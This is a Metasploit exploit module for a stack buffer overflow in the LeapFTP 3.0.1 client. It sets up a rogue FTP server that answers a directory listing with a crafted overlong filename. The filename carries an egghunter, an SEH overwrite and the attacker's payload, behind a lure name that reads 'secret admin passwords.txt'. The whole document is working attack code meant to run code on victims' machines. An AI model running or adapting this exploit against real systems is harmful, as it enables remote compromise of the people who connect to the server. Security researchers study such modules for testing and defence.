LeapFTP 3.0.1 - Remote Stack Buffer Overflow (Metasploit)

##
# $Id: leapftp_list_reply.rb 11039 2010-11-14 19:03:24Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::FtpServer
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'LeapFTP 3.0.1 Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in the LeapFTP 3.0.1 client.
				This issue is triggered when a file with a long name is downloaded/opened.
			},
			'Author' 	 =>
				[
					'corelanc0d3r',  # Original bug, completed MSF module
					'nullthreat'     # Ported PoC to MSF
				],
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision: 11039 $",
			'References'     =>
				[
					[ 'OSVDB', '68640'],
					[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows Universal', { 'Offset' => 528,'Ret' => 0x0042A8A8 } ], # ADD ESP,64, POP EBX, RET :) boy I love pvefindaddr
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Oct 12 2010',
			'DefaultTarget'  => 0))
	end

	def setup
		super
	end

	def on_client_unknown_command(c,cmd,arg)
		c.put("200 OK\r\n")
	end

	def on_client_command_list(c,arg)
			conn = establish_data_connection(c)
			if(not conn)
				c.put("425 Can't build data connection\r\n")
				return
			end
			print_status(" - Data connection set up")
			code = 150
			c.put("#{code} Here comes the directory listing.\r\n")
			code = 226
			c.put("#{code} Directory send ok.\r\n")
			# create the egg hunter
			badchars = ""
			eggoptions =
			{
			:checksum => true,
			:eggtag => "W00T"
			}
			hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)
			# Get the file ready
			junk = "\x73\x65"  #73 65 = jump over filename = "se"
			junk << "cret admin passwords.txt"
			junk << "_" * ((target['Offset'])-junk.length-hunter.length) # _ = POP EDI
			junk << hunter
			seh = [target.ret].pack('V')
			shellcode = egg + egg + payload.encoded
			junk2 = rand_text_alpha((2000 - shellcode.length))
			payload = junk + seh + shellcode + junk2
			strfile = payload
			print_status(" - Sending directory list via data connection")
			dirlist = "-rw-rw-r--    1 1176     1176         1060 Aug 16 22:22 #{strfile}.txt\r\n"
			conn.put("total 2\r\n"+dirlist)
			conn.close
			return
	end

end